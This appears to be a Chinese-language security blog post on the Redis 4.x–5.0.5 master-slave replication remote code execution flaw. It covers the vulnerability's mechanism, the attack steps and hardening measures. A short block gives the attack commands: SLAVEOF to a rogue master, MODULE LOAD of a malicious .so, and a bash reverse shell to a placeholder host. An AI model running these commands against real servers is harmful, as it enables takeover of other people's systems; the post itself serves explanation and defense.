第二篇:Redis 主从复制 RCE 漏洞|利用主从同步加载恶意模块获取服务器权限

摘要:Redis4.x~5.0.5 版本存在主从复制远程代码执行漏洞,攻击者借助 Redis 主从同步机制,让目标节点同步恶意 so 扩展模块,执行任意系统命令获取服务器 Shell。本文介绍漏洞原理、利用思路与修复加固方案。

前言

Redis 4.x、5.x 版本存在一个高危漏洞:攻击者在能连接 Redis 的前提下,利用主从复制机制,让目标 Redis 作为从节点连接攻击者的恶意 Redis 主机,同步加载恶意 so 模块,最终实现远程代码执行,直接获取服务器 shell。 相比写 SSH 公钥,这种方式成功率更高,不受网站目录、SSH 配置限制。

一、漏洞原理

Redis 支持主从复制,从节点会主动拉取主节点的数据。Redis 4.x/5.x 支持MODULE LOAD加载外部 so 扩展模块,模块里可以写任意系统指令。

攻击流程:

  1. 攻击者开启一台恶意 Redis 主机,存放恶意.so漏洞模块;
  2. 执行SLAVEOF 攻击者IP 端口,让目标 Redis 变成恶意主机的从库;
  3. 主从同步的时候,恶意模块被同步到目标服务器磁盘;
  4. 使用MODULE LOAD加载模块,调用模块函数执行系统命令,拿到服务器权限。

前提条件: ① Redis 可访问(未授权或者知道 Redis 密码) ② Redis 版本 4.x ~ 5.0.5 ③ Redis 以 root 权限运行,有写入权限

二、漏洞简单利用流程

复制代码
# 设置目标成为攻击者机器的从节点
SLAVEOF 1.1.1.1 6379
# 加载恶意模块
MODULE LOAD /tmp/exp.so
# 调用模块执行系统命令
system.exec "bash -i >& /dev/tcp/xxx/9999 0>&1"

三、漏洞危害

攻击者直接在服务器执行任意系统命令,读取服务器所有文件、植入后门、控制整台服务器。

四、漏洞修复方案

  1. 升级 Redis 版本 升级至 5.0.6 及以上版本,新版本修复模块加载相关风险。

  2. 禁用 MODULE 命令 在 redis.conf 中重命名禁用 MODULE 命令

    rename-command MODULE ""

  3. 禁止公网访问 Redis 内网部署,防火墙阻断外部 6379 访问。

  4. 低权限运行 Redis 进程 不要 root 启动 redis。

  5. 开启 Redis 密码认证

五、补充思考

这个漏洞再次提醒我们:Redis 内置功能强大,一旦暴露给未授权用户,强大功能就全部变成攻击武器。 安全的本质,就是最小权限原则。

免责声明:本文仅用于安全原理学习,严禁非法测试。

相关推荐
螺蛳粉 螺蛳粉1 天前
第一篇:Redis 未授权访问漏洞|原理、利用与生产防护方案
#redis·#redis未授权访问·#网络安全·#漏洞科普·#运维安全